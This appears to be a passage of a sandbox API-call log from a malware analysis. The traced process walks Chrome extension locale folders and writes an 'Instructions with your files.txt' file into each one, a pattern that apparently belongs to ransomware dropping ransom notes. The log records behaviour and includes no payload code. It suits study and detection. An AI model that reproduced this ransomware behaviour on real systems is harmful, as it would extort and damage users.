[0130.243] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\messages.json") returned 164
[0130.243] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.243] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83480480, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x5079, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.243] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\Instructions with your files.txt") returned 183
[0130.243] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.243] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.244] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.244] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.244] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.244] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.244] CloseHandle (hObject=0x134) returned 1
[0130.244] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.244] GetProcessHeap () returned 0x810000
[0130.245] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.245] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1
[0130.245] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi") returned 150
[0130.245] GetProcessHeap () returned 0x810000
[0130.245] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.245] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*") returned 152
[0130.245] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.246] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\.") returned 152
[0130.246] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.246] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\..") returned 153
[0130.246] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834879b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x50f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.246] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\messages.json") returned 164
[0130.246] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.246] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834879b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x50f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.246] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\Instructions with your files.txt") returned 183
[0130.246] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.246] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.247] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.247] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.248] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.248] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.248] CloseHandle (hObject=0x134) returned 1
[0130.248] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.248] GetProcessHeap () returned 0x810000
[0130.248] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.248] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1
[0130.248] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr") returned 150
[0130.248] GetProcessHeap () returned 0x810000
[0130.248] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.248] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*") returned 152
[0130.248] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.248] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\.") returned 152
[0130.248] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.248] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\..") returned 153
[0130.249] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8348eee0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.249] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\messages.json") returned 164
[0130.249] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.249] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8348eee0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3ff2, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.249] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\Instructions with your files.txt") returned 183
[0130.249] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.249] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.250] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.250] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.250] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.250] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.250] CloseHandle (hObject=0x134) returned 1
[0130.250] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.250] GetProcessHeap () returned 0x810000
[0130.250] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.250] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1
[0130.250] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu") returned 150
[0130.250] GetProcessHeap () returned 0x810000
[0130.251] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0130.251] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*") returned 152
[0130.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0130.251] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\.") returned 152
[0130.252] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0130.252] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\..") returned 153
[0130.252] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83498b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8349d940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0130.252] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\messages.json") returned 164
[0130.252] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0130.252] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83498b20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8349d940, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83986e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x40d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0130.252] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\Instructions with your files.txt") returned 183
[0130.252] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0130.252] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0130.253] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0130.253] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0130.254] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0130.254] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0130.254] CloseHandle (hObject=0x134) returned 1
[0130.254] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0130.254] GetProcessHeap () returned 0x810000
[0130.254] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0130.254] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
